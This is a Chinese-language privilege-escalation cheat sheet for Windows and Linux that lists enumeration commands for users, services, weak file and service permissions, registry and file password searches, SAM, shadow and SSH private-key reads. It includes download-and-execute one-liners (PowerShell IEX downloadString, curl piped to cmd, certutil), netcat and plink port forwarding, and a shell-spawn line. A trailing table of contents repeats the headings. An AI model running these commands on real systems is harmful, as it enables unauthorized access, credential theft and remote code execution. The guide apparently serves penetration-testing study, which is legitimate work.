权限提升的方法非常多，在提权之前我们需要去对系统做信息收集，选出一个最合适的方法。如何高效率筛选出最适合的方法。通常，这需要你很熟悉系统，经验老道。

刚接触的时候，对于你来说权限提升似乎是一项艰巨的任务，但过一段时间后，你就会开始过滤哪些是正常的，哪些是不正常的。知道该收集哪些方面的东西，而不是在所有的东西中寻找，大海捞针。

本指南将为你提供一个良好的基础。

Windows下

操作系统

操作系统和架构是什么? 它是否缺少补丁?

systeminfo
wmic qfe

环境变量中有没有好玩的？

set
Get-ChildItem Env: | ft Key,Value

是否有其他连接的驱动器？

net use
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

用户

who am i?

whoami
echo %USERNAME%
$env:UserName

用户权限？

whoami /priv

系统上有哪些用户？有没有未清理的旧用户配置文件？

net users
dir /b /ad "C:\Users\"
dir /b /ad "C:\Documents and Settings\" # Windows XP and below
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name

还有其他人登录了吗?

qwinsta

系统上有哪些组?

net localgroup
Get-LocalGroup | ft Name

管理员组里有哪些用户?

net localgroup Administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

用户进行登陆时,winlogon运行指定的程序?

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

远程主机保存的RDP凭据密码?

cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

试一下当前权限可以访问 SAM 和 SYSTEM 文件吗?

%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

程序, 进程, 服务

安装了什么软件?

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime

Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

检测文件权限配置缺陷

文件属性的Everyone ：用户对这个文件夹有完全控制权，就是说，所有用户都具有修改这个文件夹的权限。

M ：修改
F ：完全控制
CI ：从属容器将继承访问控制项
OI ：从属文件将继承访问控制项。

" Everyone:(OI)(CI)(F) " ：对该文件夹，用户有读，写，删除其下的文件，删除其子目录的权限。

哪些程序文件夹有完整控制权?

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"

可以修改哪些文件夹权限?

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" 
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" 
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} 

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

可以上传 accesschk 以检查可写文件夹和文件(AccessChk 是 SysInterals 套件中的一个工具，用于在windows中运行一些系统或程序的高级查询、管理和故障排除工作。基于杀毒软件的检测等，攻击者会尽量避免接触目标机器的磁盘，但它是微软官方提供的工具，所以杀毒软件不会有告警)

accesschk.exe -qwsu "Everyone" *
accesschk.exe -qwsu "Authenticated Users" *
accesschk.exe -qwsu "Users" *

系统上正在运行的进程/服务是什么？有没有暴露的内部服务？如果有，可以打开它吗？

tasklist /svc
tasklist /v
net start
sc query

Get-Process 结合-IncludeUserName 可以查看进程id，但是必须具有管理权限才可以。。

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Get-Service

查看进程所属用户

Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

查看配置不当的服务权限，跟文件一个道理

accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *

未引用的服务路径?

wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

有哪些计划任务？

schtasks /query /fo LIST 2>nul | findstr TaskName
dir C:\windows\tasks
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

哪些程序自启动?

wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"

AlwaysInstallElevated是注册表的一个键值，当其值为1时候，普通用户可以system权限安装MSI文件，一般情况下是没有的，但是检测一下也没坏处

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

网络

连接了哪些网卡？是否有多个网络？

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

路由表?

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP缓存?

arp -a
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

端口使用情况?

netstat -ano

hosts?

C:\WINDOWS\System32\drivers\etc\hosts

防火墙是否开启？配置了什么？

netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
netsh advfirewall export "firewall.txt"

网络配置情况?

netsh dump

SNMP配置?

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

有趣的文件和敏感信息

注册表中有密码吗？

reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s

是否有未清理的可用 sysprep 文件？

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

如果服务器是 IIS 网络服务器，inetpub 中有什么？有隐藏目录吗？web.config 文件？

dir /a C:\inetpub\
dir /s web.config
C:\Windows\System32\inetsrv\config\applicationHost.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

IIS 日志中有什么内容？

C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log

是否安装了 XAMPP、Apache 或 PHP？有任何 XAMPP、Apache 或 PHP 配置文件吗？

dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue

Apache 网络日志？

dir /s access.log error.log
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

在用户目录（桌面、文档等）中有什么敏感的文件？

dir /s *pass* == *vnc* == *.config* 2>nul
Get-Childitem –Path C:\Users\ -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue

包含密码的文件？

findstr /si password *.xml *.ini *.txt *.config 2>nul
Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"

文件传输

在权限提升的时候，需要将文件放到目标上。以下是一些简单的方法。

PowerShell Cmdlet (Powershell 3.0 and higher)

Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows\Temp\filename"

PowerShell One-Liner

(New-Object System.Net.WebClient).DownloadFile("https://server/filename", "C:\Windows\Temp\filename")

PowerShell One-Line Script Execution in Memory

IEX(New-Object Net.WebClient).downloadString('http://server/script.ps1')

PowerShell with Proxy

$browser = New-Object System.Net.WebClient;
$browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX($browser.DownloadString('https://server/script.ps1'));

PowerShell Script

echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://server/file.exe" >>wget.ps1
echo $file = "output-file.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
        
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

通过文本文件的非交互式 FTP。命令有限

echo open 10.10.10.11 21> ftp.txt
echo USER username>> ftp.txt
echo mypassword>> ftp.txt
echo bin>> ftp.txt
echo GET filename>> ftp.txt
echo bye>> ftp.txt
        
ftp -v -n -s:ftp.txt

CertUtil

certutil.exe -urlcache -split -f https://myserver/filename outputfilename

Certutil 也可用于 base64 编码/解码。

certutil.exe -encode inputFileName encodedOutputFileName
certutil.exe -decode encodedInputFileName decodedOutputFileName

curl

curl http://server/file -o file
curl http://server/file.bat | cmd

PowerShell

IEX(curl http://server/script.ps1);Invoke-Blah

端口转发

plink

plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS

ssh

ssh -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS

配置路径大全

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini 
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

这里有一个 Powershell 脚本，它几乎可以自动完成上述所有操作。

链接：https://pan.baidu.com/s/1B2jKN1bog6Jb402KF-8CWA 提取码：yyds

Linux下

操作系统

cat /etc/issue 
cat /etc/*-release  
cat /etc/lsb-release      # Debian based  
cat /etc/redhat-release   # Redhat based

内核版本? Is it 64-bit?

cat /proc/version 
uname -a 
uname -mrs 
rpm -q kernel 
dmesg | grep Linux 
ls /boot | grep vmlinuz-

环境变量

cat /etc/profile 
cat /etc/bashrc 
cat ~/.bash_profile 
cat ~/.bashrc 
cat ~/.bash_logout 
env 
set

有打印机吗?

lpstat -a

应用 & 服务

正在运行哪些服务？每个服务对应哪些用户权限？

ps aux 
ps -ef 
top 
cat /etc/services

哪些服务由root 运行？

ps aux | grep root 
ps -ef | grep root

安装了哪些应用程序？它们是什么版本？他们目前正在运行吗？

ls -alh /usr/bin/ 
ls -alh /sbin/ 
dpkg -l 
rpm -qa 
ls -alh /var/cache/apt/archivesO 
ls -alh /var/cache/yum/

是否有任何服务设置配置错误？

cat /etc/syslog.conf 
cat /etc/chttp.conf 
cat /etc/lighttpd.conf 
cat /etc/cups/cupsd.conf 
cat /etc/inetd.conf 
cat /etc/apache2/apache2.conf 
cat /etc/my.conf 
cat /etc/httpd/conf/httpd.conf 
cat /opt/lampp/etc/httpd.conf 
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

有哪些定时任务?

crontab -l
ls -alh /var/spool/cron 
ls -al /etc/ | grep cron
ls -al /etc/cron* 
cat /etc/cron* 
cat /etc/at.allow 
cat /etc/at.deny 
cat /etc/cron.allow 
cat /etc/cron.deny 
cat /etc/crontab 
cat /etc/anacrontab 
cat /var/spool/cron/crontabs/root

纯文本用户名和/或密码？

grep -i user [filename] 
grep -i pass [filename] 
grep -C 5 "password" [filename] 
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

网络

系统有哪些网卡？它是否连接到另一个网络？

/sbin/ifconfig -a 
cat /etc/network/interfaces 
cat /etc/sysconfig/network

网络配置设置是什么？你能从这个网络中找到什么？DHCP服务器？域名服务器？网关？

cat /etc/resolv.conf 
cat /etc/sysconfig/network 
cat /etc/networks iptables -L hostname dnsdomainname

还有哪些其他用户和主机正在与系统通信？

lsof -i 
lsof -i :80
grep 80 /etc/services 
netstat -antup 
netstat -antpx 
netstat -tulpn 
chkconfig --list 
chkconfig --list | grep 3:on 
last 
w

ARP缓存

arp -e 
route 
/sbin/route -nee

数据包嗅探

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

端口转发

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port 
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe

mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig

用户

你是谁？谁登录了？谁已登录？还有谁？谁能做什么？

id 
who 
w 
last 
cat /etc/passwd | cut -d: -f1    # List of users 
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users cat /etc/sudoers 
sudo -l

可以找到哪些敏感文件？

cat /etc/passwd 
cat /etc/group
cat /etc/shadow 
ls -alh /var/mail/

主目录中有什么“有趣的”吗？如果可以访问

ls -ahlR /root/ 
ls -ahlR /home/

里面有没有密码；脚本、数据库、配置文件或日志文件？密码的默认路径和位置

cat /var/apache2/config.inc 
cat /var/lib/mysql/mysql/user.MYD 
cat /root/anaconda-ks.cfg

用户在做什么？有纯文本密码吗？他们一直在编辑什么？

cat ~/.bash_history 
cat ~/.nano_history 
cat ~/.atftp_history 
cat ~/.mysql_history 
cat ~/.php_history

可以查到哪些用户信息？

cat ~/.bashrc 
cat ~/.profile 
cat /var/mail/root 
cat /var/spool/mail/root

能找到私钥信息吗？

cat ~/.ssh/authorized_keys 
cat ~/.ssh/identity.pub 
cat ~/.ssh/identity 
cat ~/.ssh/id_rsa.pub 
cat ~/.ssh/id_rsa 
cat ~/.ssh/id_dsa.pub 
cat ~/.ssh/id_dsa 
cat /etc/ssh/ssh_config 
cat /etc/ssh/sshd_config 
cat /etc/ssh/ssh_host_dsa_key.pub 
cat /etc/ssh/ssh_host_dsa_key 
cat /etc/ssh/ssh_host_rsa_key.pub 
cat /etc/ssh/ssh_host_rsa_key 
cat /etc/ssh/ssh_host_key.pub 
cat /etc/ssh/ssh_host_key

文件系统

哪些配置文件可以写入/etc/？能够重新配置服务吗？

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone 
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner 
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group 
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other 
find /etc/ -readable -type f 2>/dev/null               # Anyone 
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

在 /var/ 中可以找到什么？

ls -alh /var/log
ls -alh /var/mail 
ls -alh /var/spool 
ls -alh /var/spool/lpd 
ls -alh /var/lib/pgsql 
ls -alh /var/lib/mysql 
cat /var/lib/dhcp3/dhclient.leases

网站上有任何设置/文件（隐藏）吗？任何带有数据库信息的设置文件？

ls -alhR /var/www/ 
ls -alhR /srv/www/htdocs/ 
ls -alhR /usr/local/www/apache22/data/ 
ls -alhR /opt/lampp/htdocs/ 
ls -alhR /var/www/html/

日志文件中是否有任何内容（对“本地文件包含”有帮助！）

cat /etc/httpd/logs/access_log 
cat /etc/httpd/logs/access.log 
cat /etc/httpd/logs/error_log 
cat /etc/httpd/logs/error.log 
cat /var/log/apache2/access_log 
cat /var/log/apache2/access.log 
cat /var/log/apache2/error_log 
cat /var/log/apache2/error.log 
cat /var/log/apache/access_log 
cat /var/log/apache/access.log 
cat /var/log/auth.log 
cat /var/log/chttp.log 
cat /var/log/cups/error_log 
cat /var/log/dpkg.log 
cat /var/log/faillog 
cat /var/log/httpd/access_log 
cat /var/log/httpd/access.log 
cat /var/log/httpd/error_log 
cat /var/log/httpd/error.log 
cat /var/log/lastlog 
cat /var/log/lighttpd/access.log 
cat /var/log/lighttpd/error.log 
cat /var/log/lighttpd/lighttpd.access.log 
cat /var/log/lighttpd/lighttpd.error.log 
cat /var/log/messages 
cat /var/log/secure 
cat /var/log/syslog 
cat /var/log/wtmp 
cat /var/log/xferlog 
cat /var/log/yum.log 
cat /var/run/utmp 
cat /var/webmin/miniserv.log 
cat /var/www/logs/access_log 
cat /var/www/logs/access.log 
ls -alh /var/lib/dhcp3/ 
ls -alh /var/log/postgresql/ 
ls -alh /var/log/proftpd/ 
ls -alh /var/log/samba/

命令不够，python来凑

python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i

文件系统是如何挂载的？

mount df -h

是否有任何未挂载的文件系统？

cat /etc/fstab

使用了哪些“高级 Linux 文件权限”？

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here. f
ind / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it. 
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it. 
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search) # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied) 
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

可以从哪里写入和执行

find / -writable -type d 2>/dev/null      # world-writeable folders find / -perm -222 -type d 2>/dev/null     # world-writeable folders find / -perm -o w -type d 2>/dev/null     # world-writeable folders find / -perm -o x -type d 2>/dev/null     # world-executable folders find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

可写的“无人”文件

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files 
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

准备和查找漏洞利用代码

安装/支持哪些开发工具/语言？

find / -name perl* 
find / -name python* 
find / -name gcc* 
find / -name cc

如何上传文件？

find / -name wget 
find / -name nc* 
find / -name netcat* 
find / -name tftp* 
find / -name ftp

Windows & Linux 权限提升指南

Windows下

操作系统

用户

程序, 进程, 服务

检测文件权限配置缺陷

文件属性的Everyone ：用户对这个文件夹有完全控制权，就是说，所有用户都具有修改这个文件夹的权限。

网络

有趣的文件和敏感信息

文件传输

端口转发

配置路径大全

Linux下

操作系统

内核版本? Is it 64-bit?

环境变量

有打印机吗?

应用 & 服务

正在运行哪些服务？每个服务对应哪些用户权限？

哪些服务由root 运行？

安装了哪些应用程序？它们是什么版本？他们目前正在运行吗？

是否有任何服务设置配置错误？

有哪些定时任务?

纯文本用户名和/或密码？

网络

系统有哪些 网卡？它是否连接到另一个网络？

网络配置设置是什么？你能从这个网络中找到什么？DHCP服务器？域名服务器？网关？

还有哪些其他用户和主机正在与系统通信？

ARP缓存

数据包嗅探

端口转发

用户

你是谁？谁登录了？谁已登录？还有谁？谁能做什么？

可以找到哪些敏感文件？

主目录中有什么“有趣的”吗？如果可以访问

里面有没有密码；脚本、数据库、配置文件或日志文件？密码的默认路径和位置

用户在做什么？有纯文本密码吗？他们一直在编辑什么？

可以查到哪些用户信息？

能找到私钥信息吗？

文件系统

哪些配置文件可以写入/etc/？能够重新配置服务吗？

在 /var/ 中可以找到什么？

网站上有任何设置/文件（隐藏）吗？任何带有数据库信息的设置文件？

日志文件中是否有任何内容（对“本地文件包含”有帮助！）

命令不够，python来凑

文件系统是如何挂载的？

是否有任何未挂载的文件系统？

使用了哪些“高级 Linux 文件权限”？

可以从哪里写入和执行

可写的“无人”文件

准备和查找漏洞利用代码

安装/支持哪些开发工具/语言？

如何上传文件？

系统有哪些网卡？它是否连接到另一个网络？